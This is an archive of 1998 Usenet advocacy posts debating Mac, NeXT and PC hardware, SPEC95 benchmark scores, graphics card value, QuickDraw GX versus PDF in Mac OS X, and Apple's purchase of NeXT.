>Pentium] going about five times faster than my 25MHz MC68040
>Next Slab. Not bad, but not as great as I would have expected.
Hmm... my 90 MHz Pentium running OpenStep is 5 x faster than
my '040 cube on most benchmarks. Now what's NT doing with
those extra 60 Mhz ? :-)
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 21 Jun 1998 12:01:37 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6misn1$oii$1@news.cs.tu-berlin.de>
References: <6mh014$i01$1@news.cs.tu-berlin.de> <B1B15C95-730B3@206.165.43.183>
Mime-Version: 1.0
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"Lawson English" <english@primenet.com> writes:
>>If we can agree that you were just suggesting things, so much the
>>better. Let me suggest a couple of things:
>>
>> 1. With incremental evaluation, the difference in cost
>> in evaluating cubics and quadratics is negligible.
>> 2. The difference will probably be completely hidden
>> because this evaluation will often not be on the
>> critical path (i.e. the CPU is waiting for memory
>> anyhow and so some extra integer OPs won't matter)
>> 3. The polynomial evaluation is a sufficently small
>> part of the entire process to make any difference
>> insignificant even if it isn't masked.
>>
>For PPC/Pentium class processors, you likely have a point.
>HOWEVER, we were talking specifically about QuickTime Vector Graphics,
>which must run on 10s of millions of older systems, for which these points
>may not apply. For instance, on the 68K systems, GX's strategy of caching
>pre-calculations made sense whereas on PowerMacs, especially the fastest
>ones, it might actually slow things down, due to the relatively slow memory
>access vs the speed of recomputing on-the-fly. Obviously, pre-caching
>calculations makes no sense over the Internet, because that is the ultimate
>in slow memory access, but once parameters have actually reached the CPU on
>the client side, the faster algorithms are likely demonstratively better if
>we're talking about sytems from 3 generations ago (and we are, quite often,
>in the case of QTVG over the internet).
Faster CPUs covers one part of the argument, though I think the '040
is probably fast enough for this effect. I remember being surprised
when I found out that NeXT's 040 systems had fewer DMA channels than
the 030s. One reason was that the 040 was quite sufficient in
saturating the memory bus for BitBlts, so the DMA channel dedicated
to this operation was removed, and probably also a bit of code that
had been necessary for supporting the blits.
Another funny tidbit is found in 'Smalltalk-80 Bits of History, Words
of Advice'. I remember all the work that was being done by various
parties to optimize the BitBlt operations Smalltalk used to draw
everything on screen. Well, some people decided to do the numbers
and found out that this was redundant, because any machine fast
enough to run the Smalltalk byte-code interpreter was more than
fast enough on doing BitBlts.
My favorite is still the one from Programming Pearls. A group of
engineers were optimizing an Operating System they were working
on, and sure enough, found this amazing hot-spot that was sucking
80-90% of CPU in a very small section of code. They tuned and tuned
the heck out this portion of code and were surprised to find their
system not one iota faster. They had optimized their OSes idle-loop!
Back to your examples, though, which were actually pretty much to
the point. Yes, a special-cased horizontal fill can potentially
run faster than a general line-drawing algorithm. However, is it
therefore a good idea to restrict your graphics subsystem to horizontal
lines only?
I didn't think so.
Better implement the generic abstraction (line-drawing/path-filling)
and recognize faster variants whenever possible. For example, the
NeXT DPS system not only had special rectangle operations, it apparently
also recognized rectangle fills when specified as generic paths.
Separation of concerns is a wonderful thing.
[Ad hominems]
>Another, although I started it.
Good observation. :-)
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Date: 20 Jun 1998 21:36:40 GMT
Organization: University of Maryland, College Park
Message-ID: <6mha18$l86$1@hecate.umd.edu>
References: <joe.ragosta-1906981305340001@wil53.dol.net> <B1B0B7F3-61E7C@206.165.43.175> <joe.ragosta-2006980712410001@elk32.dol.net>
Joe Ragosta (joe.ragosta@dol.net) wrote:
: In article <B1B0B7F3-61E7C@206.165.43.175>, "Lawson English"
: <english@primenet.com> wrote:
: > Joe Ragosta <joe.ragosta@dol.net> said:
: >
: > >
: > >Assuming that Linux is currently released for G3s, all you have to do is
: > >show some benchmark scores on Linux to show that the FP is slow. You
: > >haven't done that.
: > >
: >
: > Slower then PII at the same clock with comparable memory subsystems. It's
: > called SPEC95fp. I don't believe that it is a valid test of the kinds of
: > things that Macs use FP for , but you asked...
: And I notice you still haven't provided any data for Spec95fp running on a
: Mac (with Mac OS or Linux). Until you do, your statement is no more than
: unfounded speculation.
Someone posted this URL on this group a while back.
http://devworld.apple.com/dev/tools/mpw-tools/compilers/benchmarks/mrc-3.0f1/spec95-3.0f1.html
I didn't feel like going back and digging this up, but you've been on this
SPEC_is_useless_because_it_doesn't_run_on_Macs rant and rave for over a
month now. The SPEC test suite is but a collection of application programs
that run certain algorithms. There is nothing magical about them, and there
is no reason why they cannot be recompiled to run on Macs.
Why doesn't Apple emphasize them?
Well, perhaps they don't put the older systems with slower memory subsystems
in the best light, or the compilers really aren't optimized for them. As you
see, the above 604e-180 scored a 5.53 in SPEC int, while a 604e-166 MHz
IBM workstation with a 66 MHz memory bus, and more cache, out runs the
higher clocked Mac.
http://www.specbench.org/osg/cpu95/results/res96q4/cpu95-961122-01529.html
And yes, the Linux PPC people are claiming that Linux PPC now runs on a G3.
: --
: Regards,
: Joe Ragosta
: See the Complete Macintosh Advocacy Page
: http://www.dol.net/~Ragosta/complmac.htm
--
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Date: 20 Jun 1998 19:24:44 GMT
Organization: University of Maryland, College Park
Message-ID: <6mh29s$5t4$1@hecate.umd.edu>
References: <6mecqg$6er$1@hecate.umd.edu> <B1B0B888-6417B@206.165.43.175>
Lawson English (english@primenet.com) wrote:
: David T. Wang <davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu> said:
: >Sure, this is all true, but it doesn't prove or disprove whether a
: >Pentium II is better at FP than a G3 750 or vice versa.
: Of course. I was just pointing out that using SPEC as a reference here is
: worth as much (or even less) than using BYTEmark.
What would you use? Whestone?
I wanted to disprove the assertion that somehow G3's FPU unit should
comfortably beat Pentium II's FPU unit. Which I believe that I did.
The G3's FPU unit does not comfortably beat the Pentium II's FPU
unit. You can ofcourse qualify that the G3's FPU unit would "win",
if we limit ourselves to some set of FP intensive algorithms, whose
code nd data set fit within 1 Meg of L2, but bigger than 512K, steps
through about 30 registers, but no more. That's a far cry from the
original statement that G3's FPU is much better than Pentium II's FPU.
: ----------------------------------------------------------------------
: Want Apple to license Cyberdog for third-party development? Go to:
: <http://www.pcsincnet.com/petition.html>
: ----------------------------------------------------------------------
--
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Date: 20 Jun 1998 19:37:54 GMT
Organization: University of Maryland, College Park
Message-ID: <6mh32i$5t4$3@hecate.umd.edu>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <EuspsG.H7w@haddock.cd.chalmers.se>
John Hornkvist (sorry@no.more.spams) wrote:
: In <6mbdca$trv$1@hecate.umd.edu> David T. Wang wrote:
: >
: > The 300 MHz PPC750 has an estimated SPECfp95 score of 8.5
: > The 300 MHz Pentium II has a SPECfp95 score of 8.8
: > The 400 MHz Pentium II has a SPECfp95 score of 12.4
: SPECfp is turning into a memory system benchmark rather than a fpu benchmark.
This maybe true for the G3 class of mahcines, but this does not appear to
be true for the Pentium II systems.
The 233, 266, 300 and 333 MHz Pentium II systems all share the same 66 MHz
memory bus, yet their respective SPECfp scores still appear to be scaling
up (less than linear ofcourse).
MHz cache/speed memory bus SPECfp95 (peak)
233 512/117 66 7.40
266 512/133 66 8.17
300 512/150 66 8.82
333 512/166 66 9.55
: Notice that 400/300 = 1.3333 and 12.4/8.8=1.41. This may be due to compiler
: improvements, but is more likely to be due to the 100MHz memory bus of the
: PII 400 as opposed to the 66MHz bus of the PII 300.
: I also believe that the newer Pentium IIs have a L2 cache that runs at the
: core speed, but I don't think that affects the SPECfp benchmark very much
: given the rather small cache size.
No, the full speed cache Pentium II systems doesn't arrive until June 29.
All of the Pentium II systems in the market now all have 1/2 speed caches.
: Regards,
: John Hornkvist
: Address: cd.chalmers.se
: Name:nhoj
--
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple loses "loyalty" crown to Gateway and H-P
Date: 22 Jun 1998 00:23:35 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6or907.h0d.sal@panix3.panix.com>
References: <358739d2.7029885@news.tiac.net> <01bd99f6$bc4b54e0$c07498cf@edwint.rauland.com> <macghod-1706982217120001@206.133.187.113> <1dassqc.1ezpfh518o2c2fN@pppsl518.chicagonet.net> <macghod-1806980216100001@sdn-ar-001casbarp297.dialsprint.net> <1daujif.17ymw094idz37N@pppsl844.chicagonet.net> <macghod-1906981628160001@sdn-ar-001casbarp212.dialsprint.net>
On Fri, 19 Jun 1998 16:28:16 -0700, Steve Sullivan <macghod@concentric.net> wrote:
>> > > You must really love my name, as you can't seem to say it enough.
>> > > Why don't you explain why you bought a G3 Mac instead of a PC, Steve?
>> > Why do I need to explain this?
>
>Wasnt this said by Sal, not me?
I did not say that.
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 22 Jun 1998 00:29:07 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6or9aj.h0d.sal@panix3.panix.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <358B2D0A.3A11775@spamtoNull.com>
On Sat, 20 Jun 1998 03:27:15 GMT, Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>Take it from me, the Rage Pro is "below average" (I'd give it at best a
>C-) in the current state of 3d hardware. At 2d, I'd give it a flat C.
Huh? It recieved awards as recent as May98. Go to http://www.atitech.ca/
if you don't belive me.
>3dfx, Riva, and the soon-to-be-released Matrox MG 200, among others, are
>*much* better at 3d and in the case of the Matrox and the Riva, their
>included 2d puts the Rage Pro to absolute shame. It's not even close.
They *should* do better than the ATI card, they *cost* more. The ATI
Xpert@play/work costs less than half of what the 3dfx card costs. And it
it 2d and 3d.
And comparing it to *soon to be released* cards is nonsense. The ATI
cards that ship in the year 2000 will best the Matrox cards that ship
in 1999. BFD. What can they sell me *now*?
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 22 Jun 1998 00:31:00 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6or9e4.h0d.sal@panix3.panix.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <358B2D0A.3A11775@spamtoNull.com> <358BD202.1C45C63B@chem.uit.no>
On Sat, 20 Jun 1998 17:15:14 +0200, Jostein Johansen <jostein@chem.uit.no> wrote:
>The Rage Pro (turbo) gets about 38% of Voodoo2 performance wich is not
>very impressing.
Well, it does it at less than half the price. And it has 2d and mpeg. If
you need 3dFX, you can get it on a Mac. You can even use PC 3dFX cards
if you want.
--
sal@panix.com
Salvatore Denaro
Date: Sun, 21 Jun 1998 20:43:50 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Message-ID: <joe.ragosta-2106982043510001@elk78.dol.net>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com> <njcosta-ya02408000R1506980112460001@news.earthlink.net> <358537F3.66478A32@spamtoNull.com> <cirby-1506981529250001@pm53-28.magicnet.net> <3585EA07.BDE7E2C6@spamtoNull.com> <atlauren-1706981027500001@jungleland.acs.uci.edu> <358B2A9B.84F9CA1C@spamtoNull.com> <stone-ya02408000R2006981028280001@news.enetis.net> <358DA2DC.E2DDEEF7@spamtoNull.com>
In article <358DA2DC.E2DDEEF7@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> I understand that the 3-slot limit has not always applied to Apple
> products, and I lament the loss of Apple cloners who made great boxes.
> But the current Apple product line caps the limit at three PCI slots.
> Hopefully, Apple will correct this in the near future. But the current
> state of affairs in no way invalidates what I said: that talking about
Nonsense. You can buy a 6 PCI expansion slot box for your Mac and you
still wouldn't run out of slots.
> Interrupt limits in PCs right now is ludicrous since the Mac's problem
> is worse: a lack of internal expansion slots. Current PCs can fill all
> their slots (AGP, PCI, and ISA) and still have IRQ's to spare. With half
> the internal expansion capability, you'd run out of slots in a Mac long
> before you'd run out of IRQ's (if the Mac was limited to them.)
ROTFLMAO.
Then why are there so many reports about PCs that can't be expanded
because all their IRQs are full (from major magazines).
More importantly, let's look at it:
My PC has 4 PCI slots (including the shared shot which is widely reported
to have problems). I've ignored the ISA slots as much as possible because
of PnP problems.
I have the following PCI cards:
Video card
Sound card
Ethernet card
3D video
PLUS:
ISA modem
On my Mac, I have the same functionality except for the 3D video. Not a
single one of my PCI slots is filled. So, I have two available PCI slots
on the Mac and none on the PC.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: bgrubb@zianet.com (Bruce L. Grubb)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Sun, 21 Jun 1998 11:19:13 -0600
Organization: Southwest Cyberport
Message-ID: <bgrubb-2106981119150001@lc094.zianet.com>
References: <joe.ragosta-1906981305340001@wil53.dol.net> <B1B0B7F3-61E7C@206.165.43.175> <joe.ragosta-2006980712410001@elk32.dol.net> <6mha18$l86$1@hecate.umd.edu>
In article <6mha18$l86$1@hecate.umd.edu>,
davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
>The SPEC test suite is but a collection of application programs
>that run certain algorithms. There is nothing magical about them, and there
>is no reason why they cannot be recompiled to run on Macs.
>
>Why doesn't Apple emphasize them?
Fror the reason I stated in my Mac-IBM-compare sheet several years ago:
SPECMarks: OSG SPECMarks measure the IDEAL performance of processors NOT
real world performance. In some cases hardware configuration can effect
SPECMarks themselves. For example, the presence or absence of an optional
L2 cache card effected SPEC92marks for BOTH the Pentium and MPC601 by
10-15%. OS-software design and interaction resulted in certain
crossplatform programs on MPC601 Macs outperforming their Pentiums
counterparts by almost 50% even though the SPEC92ints were within 10% of
each other.
There are simply too many factors involved to get a computer simply by
what the SPECs are. Unless you have the OS-RAM-cache-hardware information
that goes along with the SPECs the numbers are useless.
From: "Lance Togar" <ltogar@msn.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com> <35872ab1.0@news.together.net> <TheLidlessEyeTh-1706980041330001@digital-00-41.hou.neoworld.net> <358882f9.0@news.together.net> <TheLidlessEyeTh-1806980045210001@digital-00-47.hou.neoworld.net> <3589d65c.0@news.together.net> <TheLidlessEyeTh-2006980111350001@digital-00-32.hou.neoworld.net> <358c12b0.0@news.together.net> <TheLidlessEyeTh-2106980132480001@digital-01-110.hou.neoworld.net>
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: Sun, 21 Jun 1998 15:02:51 -0400
Message-ID: <358d5905.0@news.together.net>
Organization: Together Networks - Burlington, VT.
The Doom That Came To Usenet wrote in message ...
>In article <358c12b0.0@news.together.net>, "Lance Togar" <ltogar@msn.com>
wrote:
>
>
<SNIP, infantile rambling>
>
>
>
>>>>I fail to understand why you troll unceasingly and take every
opportunity
>>>>to denigrate
>>>>machines that you actually own and use. It really doesn't make any
sense.
>>>..
>>>Sure it does. Apple is screwing up big time and you all walk around like
>>>nothing's happening.
>
>Bullshit.
>Nobody's harder on Apple than Mac users.
>Nobody.
...
>It comes from years of having your expectations raised, then dashed.
...
So, how many times does it take before you take your wallet elsewhere?
Apple's interest is in milking what's left of its user base. Isn't that
obvious to you by now?
...
...
>It's the _ computer_ that keeps us hanging in here year after year, not the
>company, moron.
>You need to learn to separate the two.
...
Ya, OK, so who's the moron again?
...
...
<SNIP, poster snips so much that it's less clear than ever what he's talking
about>
>
>.
>>>>Yet you've just admitted to owning several.
>>>>Okay, so you own Macs, you just don't use them, I guess.
>>>..
>>>Sometimes. The others are for parts.
>
>I thought you said the hardware was shit.
...
Here's another classic. Naturally, I didn't write anything of the sort.
...
...
>Why would you be parting them out?
...
Ah..... to repair other computers.... maybe? Works for me.
...
...
>>>My point was that you seem to think this isn't true. I was simply
pointing
>>>out that it is.
>
>No, you were pointing out that Macs use the same parts, and are
>constructed very much the same
>way as PCs.
>They're not,in fact, Macs use certain Mac-specific parts, that's why part
>replacement is more
>expensive.
...
Examples (other than the overpriced floppy drive)???
...
...
>Tell ya what.
>We'll play along with your supposition.
>If Macs have basically the same parts and are constructed the same way as
>PCs, then it
>follows that they would be of the same quality: good, poor or otherwise
>(they're not, of course).
...
They are, of course, but there's more:
...
>Yet you maintain that PCs are actually superior to the Mac in terms of
quality.
...
Here's another classic. Naturally, I didn't write anything of the sort.
...
>How can they be, when both machines are constructed the same way with the
>same parts?
...
You answered your own question (again), they aren't of course.
...
...
>Oops, sorry, guess I done blowed a hole in your purty logic.
>
...
Oooops, your just getting more and more lost.
...
...
>>>>It doesn't mean they're all going to be defective if one of them is, or
>>>>even several.
>>>>Therefore, by asserting that you can make a blanket generalisation
>>>regarding the
>>>>quality of the whole by the quality of the one, your logic is faulty.
>>>..
>>>No, your reading is defective. I didn't write anything like that.
>
>Bullshit.
>Now you're backpedaling.
...
I guess so but what would you expect when you insist on misquoting and
misrepresenting what I write?
...
.
>What a surprise.
>
>
>
>>>There's not much to backup thus far.
>
>You said it!
...
Well, maybe, but you seem to be having trouble finding where. Newsreader
issue perhaps?
...
...
> I mean, you haven't said anything
>>>specific about anything execpt, perhaps, that Apple hardware is in some
way
>>>superior to the likes of Dell, Gateway & HP which simply isn't the case.
>
>Sure it is.
>Ethernet, SCSI and RISC performance come standard with even the
>entry-level Macs.
>They don't with the HPs, Dells and Gateways of the Wintel world.
>Those are extras, Lance old boy.
...
Why don't you WAKEUP? Ethernet & SCSI (not the 5380 entry level Mac crap)
are low cost add ons for all the computers you mentioned. *Everybody*
(including Apple) knows that entry level machines are much better served by
EIDE and *certainly* not everyone should pay for built-in (low performance)
ethernet they may never use. RISC performance? Well, in case you missed it,
CISC is doing very well thanks. So, to summarize, adding bargain basement
SCSI and ethernet to a motherboard isn't an indication of hardware
superiority. In fact, it's a consumer liability sense they're forced to pay
for something they may never use and with Apple there's no choice.
...
...
<SNIP, poster's out of any possible hardware points, so it's off to his GUI
opinions. Interested parties can catchup on this religion elsewhere in CSMA>
...
...
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 21 Jun 1998 12:16:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1B2A9FD-58A4A@206.165.43.172>
References: <6misn1$oii$1@news.cs.tu-berlin.de>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Marcel Weiher <marcel@cs.tu-berlin.de> said:
[snipt]
>Back to your examples, though, which were actually pretty much to
>the point. Yes, a special-cased horizontal fill can potentially
>run faster than a general line-drawing algorithm. However, is it
>therefore a good idea to restrict your graphics subsystem to horizontal
>lines only?
>
>I didn't think so.
Nope, but the point is that a generic Bezier drawing routine might be made
faster if you special case the code for quadratics, just as a generic
line-drawing routine might be faster if you special case the code for
horizontal lines.
In neither instance would using the special-case code slow you down for the
more general case. In the case of line-drawing, you simply test for
equality of the end-points' y-values and use the horizontal optimization
when appropriate. In the case of QTVG, *only* quadratic Beziers are used,
so there's no need to test for, letalone use, a more generic [and slower]
algorithm.
BTW, when I was working on software support for a MacPlus accelerator card
(my first programming job was apprenticing to the software guru working on
the project), I found a single instruction on the Mac that sucked up about
1% of all CPU time, regardless of the app being used. The routine that it
was in took up about 20% of all processor time. The instruction was the
table-dispatch instruction in the Trap Dispatcher. At that point in the
Mac's history, bypassing the Trap Dispatcher would automatically make the
average Mac program 15-20% faster/more responsive. It wasn't something that
we had control over, so software-based acceleration of the Mac wasn't
really possible. The ROM routines were already pretty darned
well-optimized.
On a different note...
One thing that the current QDe seems to be lacking is the equivalent of
GX's more esoteric transfer modes. I believe that you can fake many of them
using the modes found in QDe, but I don't see how you can get a real-time
response out of the faked modes if you're manipulating bitmaps.
These options have been moved into the stable of special-effects
transitions in QuickTime, but I think that they should be part of the main
graphics engine of Carbon/MacOS X, also.
That's another reason why I don't like the PDF strategy. The current PDF
spec doesn't support the transparency modes of NeXTstep-DPS, nor the 3x3
matrix of GX, letalone the more advanced GX transfer modes. If you need to
special case for any NORMAL graphics stuff that is done in order to make
the file-format work with existing QDe code, then you no longer have a 1:1
correspondance between the standard print file format of MacOS X and the
capabilities of MacOS X, even before you start adding in new stuff.
I mean, with the GX file format (which is what the GX print file is based
on), we can recreate nonopaque, overlapping text and graphics, regardless
of which transfer modes were used to create it without having to resort to
non-standard objects, because the file format recognizes all GX
capabilities as "standard." Why has Apple limited itself to PDF as THE
graphics format when even the already-existing, STANDARD graphics stuff
WILL require custom objects to be implemented?
Will there be a standardized set of private objects defined for PDF to
handle all of QDe's non-PS capabilities? If so, then why not add in the 3x3
matrix as standard, and GX's transfer mode stuff as standard? If that were
done, any and all GX images could at least be displayed and saved properly
without loss of fidelity, thereby keeping a continuous graphics standard
across all color Macs ever made.
It would also allow for a much easier way of creating QT movies out of QDe
graphics. Right now, the only way you can create QT vectors is via Lari
Software's LIghtningDraw, which is GX-based. Real Soon Now, you can use
GXFCN, which is also GX-based. Eventually, HyperCard 3.0 will ship, with
native support for QTVG, but that's a rather limiting option, IMHO, since
GX text won't be supported and any inclusion of GX text will still need to
go through the GX->QT codec as evoked by a GX-using app (maybe they'll
create a codec that accepts ATSUI text, but that just complicates things
even more, doesn't it?).
From the outside, the whole graphics strategy of MacOS X looks very
convoluted.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy
Subject: Next purchase a mistake
Date: Sun, 21 Jun 1998 20:45:09 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6mkd25$8c44@odie.mcleod.net>
The following argument was made to me by an associate. I was greatly
disturbed by the fact that I had no ready counter argument. How should I
have replied?
BEGIN QUOTE FROM MEMORY:
The NeXT purchase was a mistake. Apple already had a Mach kernel and the
certainly could have purchased another one for less than 400M. If Apple had
planned to release Openstep ASAP as the new operating system, then it might
have been worth 400M to skip 2-4 years of development and get a product to
market. As it is, all interesting NeXT technology has been deprecated or
out right abandoned. Hell, even NeXTtime was superior to its replacement
(nothing) in Rhapsody and we have waited 2+ years.
POSIX: Apple developers don't want it. It was adapted from
Free BSD after the merger.
MACH: Apple already had it before the merger
YellowBox: Deprecated
WebObjects: Small potatoes. Apple customers don't get it.
UFS/NFS: Deprecated in favor of HFS+ and de-frag tools
Display Postscript: Abandoned
Remote Display: Abandoned
NeXTstep GUI: Abandoned
EOF: Same fate as rest of YellowBox
Consistent Applications: Same fate as YellowBox/impossible along side
Carbon
Services: Same fate as YellowBox
Intel Support: Abandoned
Sparc Support: Abandoned before purchase
Enterprise Support: Abandoned
The counter argument is that with the exception of the outright canceled
technology, Apple is just playing down acquired technology because Apple
developers don't want it and Apple does not want to scare them. OK, then
why have it at all if they don't want it ?
MaxOS-X is NOT Rhapsody 2.0. MaxOS-X is watered down Copland 5 years late.
The fact that Mach is used as the kernel is coincidence. POSIX APIs are a
non issue with Mac developers. Mac developers and users don't want
UNIX/shells, standard UNIX tools, remote network administration, large
network support, etc.
I just read the session notes from the Carbon track at WWDC. I want to cry
and laugh at the same time.
As far as I can see, with the release of MacOS-X, users get the following:
Proportional scroll bars: 10 years late
Window layering: 10 years late
Flexible Menus: 10 years late
QuickDrawE 10 years and 4 attempts late
Protected VM: 14 years late. (68000 with mmu was one
of the first UNIX desktops)
With the possible exception of high resolution graphics, everything NeXT
shipped in 1988 could have been in the Mac. People will say BS, no Mac
customer could have afforded it. Wake up! I purchased a Next Cube in early
1989 partly because it was CHEAPER than the most nearly equivalent Apple
product and had more features to boot.
My GOD! Look at the Apple APIs. They are worse than Win32. Take into
account that they are built on shaky OS foundations and just cringe.
Windows deserved to beat the Mac. Windows is crap too, but it is a hell of
a lot more modern/powerful today. Oh yah, I forgot, Mac users love their
GUI and work flow. Well, I have got news - it is not all that great
anymore. In many ways it lags Windows and do you know what? The advanced
MAC look and feel in Rhapsody uses the exact same Openstep APIs that
implemented the NeXT GUI. The only reason it didn't do it 10 years ago is
that some people wanted something better and more consistent.
I am just surprised Apple has not removed proportional scroll bars on the
grounds that they are not Mac like.
END QUOTE
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: 22 Jun 1998 01:52:07 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ore67.m4l.sal@panix3.panix.com>
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com> <Euopxp.Ezq@AWT.NL> <6m9js0$34n$1@news.xmission.com> <Euuq6I.9ns@AWT.NL> <6miqka$ndu$1@news.cs.tu-berlin.de>
On 21 Jun 1998 11:26:02 GMT, Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
>G.C.Th.Wierda@AWT.nl (Gerben Wierda) writes:
>>Supporting Intel makes my purchase of PPC hardware only more likely, not less.
>This is the point that Apple must understand. The Intel option
>is *vital* to getting PPC sales. Once Intel is available, they
>may well not see that many Intel sales, because people will
>prefer the PPC when given the option.
Unless Steve has exersized his options, I own more Apple stock than
him. I am more than willing to argue this to his face...
Who knows, maybe Steve is fighting the HW boys about this.
--
sal@panix.com
Salvatore Denaro
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: cancel <see-below-2106982023480001@dynamic48.pm01.mv.best.com>
Control: cancel <see-below-2106982023480001@dynamic48.pm01.mv.best.com>
Date: Sun, 21 Jun 1998 20:25:35 -0700
Message-ID: <see-below-2106982025350001@dynamic48.pm01.mv.best.com>
cancel <see-below-2106982023480001@dynamic48.pm01.mv.best.com>
From: tas@mindspring.noUCE.com (Timothy A. Seufert)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Sun, 21 Jun 1998 20:33:08 -0700
Organization: Evil Geniuses For A Better Tomorrow, Inc.
Message-ID: <tas-2106982033090001@user-38ld61h.dialup.mindspring.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <Euptyu.xy@haddock.cd.chalmers.se> <6mbdca$trv$1@hecate.umd.edu> <joe.ragosta-1806981348130001@wil45.dol.net> <6mbo49$bt6$1@hecate.umd.edu> <slrn6oj5oa.2i7.jason@jhste1.dyn.ml.org> <6mc6hc$obq$2@hecate.umd.edu> <joe.ragosta-1806982140420001@elk120.dol.net> <6mcgbq$abc$1@hecate.umd.edu> <joe.ragosta-1906980813580001@wil84.dol.net> <6me2ih$hrc$3@hecate.umd.edu> <joe.ragosta-1906981305340001@wil53.dol.net>
In article <joe.ragosta-1906981305340001@wil53.dol.net>,
